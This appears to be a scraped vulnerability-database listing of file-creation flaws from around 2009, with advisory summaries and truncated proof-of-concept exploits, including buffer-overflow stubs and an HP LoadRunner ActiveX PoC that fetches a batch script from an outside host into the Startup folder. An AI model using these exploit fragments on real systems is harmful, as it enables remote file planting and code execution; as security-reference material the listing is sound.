Mandriva Linux Security Advisory : bash (MDVSA-2010:004)

A vulnerability have been discovered in Mandriva bash package, which could allow a malicious user to hide files from the ls command, or garble its output by crafting files or directories which contain special characters or escape sequences CVE-2010-0002. This update fixes the issue by disabling t...

CVE-2009-4445

Microsoft Internet Information Services IIS, when used in conjunction with unspecified third-party upload applications, allows remote attackers to create empty files with arbitrary extensions via a filename containing an initial extension followed by a : colon and a safe extension, as demonstrate...

php168 6.0 bencandy.php 任意文件创建漏洞

No description provided by source...

phpwind_2.0.1_job.php_任意文件创建漏洞

No description provided by source...

EMC Captiva PixTools Distributed Imaging ActiveX Control File Creation

EMC Captiva PixTools is a suite of software developer toolkits that provides image scanning, viewing, and processing functionality. A vulnerability has been reported in EMC Captiva PixTools. The flaw is due to unrestricted access to the "SetLogFileName" and "WriteToLog" methods, which attackers c...

gAlan - .galan Universal Buffer Overflow

gAlan - .galan Universal Buffer Overflow !/usr/bin/python gAlan .galan file Universal Buffer Overflow Exploit Author : DzAttacker Mail : [email protected] Original : http://www.exploit-db.com/exploits/10339 win32exec - EXITFUNC=process CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.c...

CVE-2009-3557

The CVE-2009-3557 vulnerability affects PHP 5.2.11 and earlier, and 5.3.x before 5.3.1. It concerns the tempnam function in ext/standard/file.c, which can bypass safe_mode restrictions and allow creation of files in group-writable or world-writable directories via the dir and prefix arguments. Th...

JRE applet launcher vulnerability

Unspecified vulnerability in JNLPAppletlauncher in Sun Java SE, and SE for Business, in JDK and JRE 6 Update 14 and earlier and JDK and JRE 5.0 Update 19 and earlier; and Java SE for Business in SDK and JRE 1.4.221 and earlier; allows remote attackers to create or modify arbitrary files via vecto...

Design/Logic Flaw

Dictionary in Apple Mac OS X 10.5.8 allows remote attackers to create arbitrary files with any contents, and thereby execute arbitrary code, via crafted JavaScript, related to a "design issue."...

PHP 5.3.0 pdflib Arbitrary File Write

Exploit for unknown platform in category local exploits ===================================== PHP 5.3.0 pdflib Arbitrary File Write ===================================== Title: PHP 5.3.0 pdflib Arbitrary File Write CVE-ID: OSVDB-ID: Author: Sina Yazdanmehr Published: 2009-11-06 Verified: yes view...

Internet Explorer FTP Client Directory Traversal (CVE-2004-1376)

Microsoft Internet Explorer IE incorporates an FTP client component that is capable of communicating with standard FTP servers. To invoke the FTP functionality in order to view files on an FTP server, a URI of the ftp:// scheme is used. When no specific file is indicated with the URL such as...

Mozilla Firefox 3.5.3 - Local Download Manager Temp File Creation

/ getunique.c AKA Mozilla Firefox 3.5.3 Local Download Manager Exploit Jeremy Brown [email protected] // jbrownsec.blogspot.com // krakowlabs.com 10.28.2009 When downloading files through Firefox and choosing the "Open with" option, Firefox will create a temporary file in the form of RANDOM.pa...

Boloto Media Player 1.0.0.9 Crash

Boloto Media Player 1.0.0.9 Local .PLS Crash PoC Found By: DrIDE Download: http://www.tucows.com/preview/602821 Tested On: XPSP3 Note: It locks hard if you add this file to the playlist and click. buff = "\x41" 5000 try: f1 = open"evil.pls","w"; f1.write"playlist\nNumberOfFiles=3\n\nFile1=http://...

GLSA-200910-03 : Adobe Reader: Multiple vulnerabilities

The remote host is affected by the vulnerability described in GLSA-200910-03 Adobe Reader: Multiple vulnerabilities Multiple vulnerabilities were discovered in Adobe Reader. For further information please consult the CVE entries and the Adobe Security Bulletin referenced below. Impact : A remote...

Millenium MP3 Studio 2.0 - .m3u Local Buffer Overflow

Millenium MP3 Studio 2.0 - .m3u Local Buffer Overflow + Vulnerability : .m3u File Local Stack Overflow Universal Exploit SEH + Product : Millenium MP3 Studio + Versions affected : v2.0 + Download : http://www.software112.com/products/mp3-millennium+download.html + Method : seh + Tested on : Windo...

PT-2009-5856 · Emc · Emc Captiva Pixtools Distributed Imaging

Name of the Vulnerable Software and Affected Versions: EMC Captiva PixTools Distributed Imaging version 2.2 Description: The issue concerns insecure methods in the PDIControl.PDI.1 ActiveX control, allowing remote attackers to create or overwrite arbitrary files. This is achieved via the...

HP LoadRunner 9.5 remote file creation PoC

Exploit for unknown platform in category dos / poc ========================================== HP LoadRunner 9.5 remote file creation PoC ========================================== Title: HP LoadRunner 9.5 remote file creation PoC CVE-ID: OSVDB-ID: Author: Pyrokinesis Published: 2009-09-29 Verifie...

HP LoadRunner 9.5 remote file creation PoC

No description provided by source. !-- HP LoadRunner 9.5 Persits.XUpload.2 control XUpload.ocx MakeHttpRequest remote file creation poc IE 8 by Nine:Situations:Group::pyrokinesis CLSID: E87F6C8E-16C0-11D3-BEF7-009027438003 Progid: Persits.XUpload.2 Binary Path:...

HP LoadRunner 9.5 File Creation

' http://retrogod.altervista.org/sh9232.txt , a batch script that starts calc.exe XUPLOADLib.Server = "retrogod.altervista.org" XUPLOADLib.Script = "sh9232.txt" ' place it in the Startup folder, italian path, change for your os Method="" Params="" Path="..\..\..\Documents and Settings\All...

HP LoadRunner 9.5 - Remote file creation (PoC)

HP LoadRunner 9.5 - Remote file creation PoC ' http://retrogod.altervista.org/sh9232.txt , a batch script that starts calc.exe XUPLOADLib.Server = "retrogod.altervista.org" XUPLOADLib.Script = "sh9232.txt" ' place it in the Startup folder, italian path, change for your os Method="" Params=""...